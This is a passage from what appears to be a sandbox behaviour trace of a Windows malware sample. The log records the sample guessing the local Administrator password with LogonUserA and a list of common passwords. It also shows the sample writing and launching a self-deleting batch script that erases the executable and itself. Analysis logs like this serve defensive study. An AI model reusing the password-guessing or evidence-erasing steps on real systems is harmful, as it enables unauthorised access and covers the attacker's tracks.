lpszDomain=0x0, lpszPassword="000000", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.483] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="purple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.483] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="jordan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.484] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="faith", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.484] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="summer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.485] LogonUserA (in: lpszUsername="Administrator", lpszDomain=0x0, lpszPassword="ashley", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.583] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x67d540 [0086.583] GetTickCount () returned 0x23504 [0086.583] wsprintfA (in: param_1=0x67d540, param_2="%d.bat" | out: param_1="18144644.bat") returned 12 [0086.583] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x67d6d8 [0086.583] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x67d870 [0086.583] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x67da08 [0086.583] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x67d6d8, nSize=0x104 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0086.583] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x67d870 | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned 0x24 [0086.583] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\", lpString2="18144644.bat" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" [0086.583] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\18144644.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0086.584] lstrlenA (lpString="\r\n\x09\x09\r\n\r\n\x09 :ktk \r\n\r\n\r\n del \x09 %1 \r\n\x09if \x09\x09 exist \x09 %1 \x09 goto \x09\r ktk\r\n del \x09 %0 ") returned 94 [0086.584] WriteFile (in: hFile=0x2d4, lpBuffer=0x417402*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x12ff54, lpOverlapped=0x0 | out: lpBuffer=0x417402*, lpNumberOfBytesWritten=0x12ff54*=0x5e, lpOverlapped=0x0) returned 1 [0086.585] CloseHandle (hObject=0x2d4) returned 1 [0086.587] wsprintfA (in: param_1=0x67da08, param_2=" \"%s\" " | out: param_1=" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ") returned 59 [0086.587] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x767a0000 [0086.587] GetProcAddress (hModule=0x767a0000, lpProcName="ShellExecuteA") returned 0x769e7078 [0086.587] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat", lpParameters=" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0088.059] LocalFree (hMem=0x67d540) returned 0x0 [0088.059] LocalFree (hMem=0x67d6d8) returned 0x0 [0088.059] LocalFree (hMem=0x67d870) returned 0x0 [0088.059] LocalFree (hMem=0x67da08) returned 0x0 [0088.059] ExitProcess (uExitCode=0x0) Thread: id = 4 os_tid = 0xa58 Thread: id = 5 os_tid = 0xb04 Thread: id = 6 os_tid = 0xb20 Thread: id = 7 os_tid = 0xb28 Thread: id = 8 os_tid = 0xb30 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7ef4f3e0" os_pid = "0xb34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa4c" cmd_line = "cmd /c \"\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" \"" cur_dir = "C:\\Users\\EEBsYm5\\Desktop\\" os_username = "CRH2YWU7\\EEBsYm5" os_groups = "CRH2YWU7\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0e7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 550 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 551 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 552 start_va = 0xd0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 553 start_va = 0x3b0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 554 start_va = 0x49fb0000 end_va = 0x49ffbfff entry_point = 0x49fb0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 555 start_va = 0x75f70000 end_va = 0x75fb9fff entry_point = 0x75f70000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 556 start_va = 0x761d0000 end_va = 0x762a3fff entry_point = 0x761d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 557 start_va = 0x77e80000 end_va = 0x77e80fff entry_point = 0x77e80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 558 start_va = 0x77ec0000 end_va = 0x77ffbfff entry_point = 0x77ec0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 559 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 560 start_va = 0x7ffd3000 end_va = 0x7ffd3fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd3000" filename = "" Region: id = 561 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 562 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 563 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 564 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 565 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 566 start_va = 0x72e90000 end_va = 0x72e96fff entry_point = 0x72e90000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 567 start_va = 0x765f0000 end_va = 0x765f9fff entry_point = 0x765f0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 568 start_va = 0x773f0000 end_va = 0x7748cfff entry_point = 0x773f0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 569 start_va = 0x77720000 end_va = 0x777cbfff entry_point = 0x77720000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 570 start_va = 0x77ad0000 end_va = 0x77b98fff entry_point = 0x77ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 571 start_va = 0x77c80000 end_va = 0x77ccdfff entry_point = 0x77c80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 572 start_va = 0x7f6f0000 end_va = 0x7f7effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6f0000" filename = "" Region: id = 573 start_va = 0x1d0000 end_va = 0x297fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 574 start_va = 0x762b0000 end_va = 0x762cefff entry_point = 0x762b0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 575 start_va = 0x77ba0000 end_va = 0x77c6bfff entry_point = 0x77ba0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 576 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 577 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 578 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 579 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 580 start_va = 0x4b0000 end_va = 0x5b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 581 start_va = 0x5c0000 end_va = 0x11bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 582 start_va = 0x11c0000 end_va = 0x1322fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 583 start_va = 0x76700000 end_va = 0x7679ffff entry_point = 0x76700000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 584 start_va = 0x762e0000 end_va = 0x762f8fff entry_point = 0x762e0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 585 start_va = 0x77550000 end_va = 0x775f0fff entry_point = 0x77550000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 586 start_va = 0x2e0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Thread: id = 9 os_tid = 0xb38 [0088.563] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfe0c | out: lpSystemTimeAsFileTime=0x1cfe0c*(dwLowDateTime=0xd8e1dfc0, dwHighDateTime=0x1d3d176)) [0088.563] GetCurrentProcessId () returned 0xb34 [0088.563] GetCurrentThreadId () returned 0xb38 [0088.564] GetTickCount () returned 0x23793 [0088.564] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfe04 | out: lpPerformanceCount=0x1cfe04*=558872080) returned 1 [0088.564] GetModuleHandleA (lpModuleName=0x0) returned 0x49fb0000 [0088.564] __set_app_type (_Type=0x1) [0088.564] __p__fmode () returned 0x777c31f4 [0088.564] __p__commode () returned 0x777c31fc [0088.565] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49fd21a6) returned 0x0 [0088.565] __getmainargs (in: _Argc=0x49fd4238, _Argv=0x49fd4240, _Env=0x49fd423c, _DoWildCard=0, _StartInfo=0x49fd4140 | out: _Argc=0x49fd4238, _Argv=0x49fd4240, _Env=0x49fd423c) returned 0 [0088.565] GetCurrentThreadId () returned 0xb38 [0088.565] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb38) returned 0x38 [0088.565] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x761d0000 [0088.565] GetProcAddress (hModule=0x761d0000, lpProcName="SetThreadUILanguage") returned 0x762224c2 [0088.565] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.565] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0088.565] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cfd9c | out: phkResult=0x1cfd9c*=0x0) returned 0x2 [0088.566] VirtualQuery (in: lpAddress=0x1cfdd3, lpBuffer=0x1cfd6c, dwLength=0x1c | out: lpBuffer=0x1cfd6c*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0088.566] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cfd6c, dwLength=0x1c | out: lpBuffer=0x1cfd6c*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0088.566] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cfd6c, dwLength=0x1c | out: lpBuffer=0x1cfd6c*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0088.566] VirtualQuery (in: lpAddress=0xd3000, lpBuffer=0x1cfd6c, dwLength=0x1c | out: lpBuffer=0x1cfd6c*(BaseAddress=0xd3000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0088.566] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cfd6c, dwLength=0x1c | out: lpBuffer=0x1cfd6c*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x2, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0088.566] GetConsoleOutputCP () returned 0x1b5 [0088.566] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.566] SetConsoleCtrlHandler (HandlerRoutine=0x49fce72a, Add=1) returned 1 [0088.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.566] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0088.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.566] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49fd41ac | out: lpMode=0x49fd41ac) returned 1 [0088.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.567] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.567] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.567] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49fd41b0 | out: lpMode=0x49fd41b0) returned 1 [0088.567] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.567] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0088.567] GetEnvironmentStringsW () returned 0x3c0150* [0088.568] FreeEnvironmentStringsW (penv=0x3c0150) returned 1 [0088.568] GetEnvironmentStringsW () returned 0x3c0150* [0088.568] FreeEnvironmentStringsW (penv=0x3c0150) returned 1 [0088.568] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ced0c | out: phkResult=0x1ced0c*=0x40) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x0, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x1, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x1, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x0, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x40, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x40, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x40, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.568] RegCloseKey (hKey=0x40) returned 0x0 [0088.568] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ced0c | out: phkResult=0x1ced0c*=0x40) returned 0x0 [0088.568] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x40, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x1, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x1, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x0, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x9, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x4, lpData=0x1ced18*=0x9, lpcbData=0x1ced10*=0x4) returned 0x0 [0088.569] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ced14, lpData=0x1ced18, lpcbData=0x1ced10*=0x1000 | out: lpType=0x1ced14*=0x0, lpData=0x1ced18*=0x9, lpcbData=0x1ced10*=0x1000) returned 0x2 [0088.569] RegCloseKey (hKey=0x40) returned 0x0 [0088.569] time (in: timer=0x0 | out: timer=0x0) returned 0x5acdd439 [0088.569] srand (_Seed=0x5acdd439) [0088.569] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" \"" [0088.569] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\18144644.bat\" \"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" \"" [0088.569] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fd5260 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.569] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3c18b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0088.570] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.570] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.570] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0088.570] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0088.570] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0088.570] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0088.570] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0088.570] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0088.570] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0088.570] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0088.570] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0088.570] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0088.570] GetEnvironmentStringsW () returned 0x3c22a0* [0088.571] FreeEnvironmentStringsW (penv=0x3c22a0) returned 1 [0088.571] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.571] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49fe0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0088.571] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0088.571] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0088.571] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0088.571] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0088.571] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0088.571] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0088.571] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0088.571] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0088.571] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cfad8 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.571] GetFullPathNameW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop", nBufferLength=0x104, lpBuffer=0x1cfad8, lpFilePart=0x1cfad4 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop", lpFilePart=0x1cfad4*="Desktop") returned 0x18 [0088.571] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 0x11 [0088.571] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1cf854 | out: lpFindFileData=0x1cf854) returned 0x3bffe0 [0088.572] FindClose (in: hFindFile=0x3bffe0 | out: hFindFile=0x3bffe0) returned 1 [0088.572] FindFirstFileW (in: lpFileName="C:\\Users\\EEBsYm5", lpFindFileData=0x1cf854 | out: lpFindFileData=0x1cf854) returned 0x3bffe0 [0088.572] FindClose (in: hFindFile=0x3bffe0 | out: hFindFile=0x3bffe0) returned 1 [0088.572] FindFirstFileW (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop", lpFindFileData=0x1cf854 | out: lpFindFileData=0x1cf854) returned 0x3bffe0 [0088.572] FindClose (in: hFindFile=0x3bffe0 | out: hFindFile=0x3bffe0) returned 1 [0088.572] GetFileAttributesW (lpFileName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 0x11 [0088.572] SetCurrentDirectoryW (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0088.572] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\EEBsYm5\\Desktop") returned 1 [0088.572] GetEnvironmentStringsW () returned 0x3c2ac0* [0088.573] FreeEnvironmentStringsW (penv=0x3c2ac0) returned 1 [0088.573] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49fd5260 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0088.574] GetConsoleOutputCP () returned 0x1b5 [0088.574] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49fd4260 | out: lpCPInfo=0x49fd4260) returned 1 [0088.574] GetUserDefaultLCID () returned 0x409 [0088.574] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49fd4950, cchData=8 | out: lpLCData=":") returned 2 [0088.574] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1cfc18, cchData=128 | out: lpLCData="0") returned 2 [0088.574] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1cfc18, cchData=128 | out: lpLCData="0") returned 2 [0088.574] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1cfc18, cchData=128 | out: lpLCData="1") returned 2 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49fd4940, cchData=8 | out: lpLCData="/") returned 2 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49fd4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49fd4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49fd4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49fd4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49fd4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49fd4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49fd4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49fd4930, cchData=8 | out: lpLCData=".") returned 2 [0088.575] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49fd4920, cchData=8 | out: lpLCData=",") returned 2 [0088.575] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0088.576] GetConsoleTitleW (in: lpConsoleTitle=0x3b08e8, 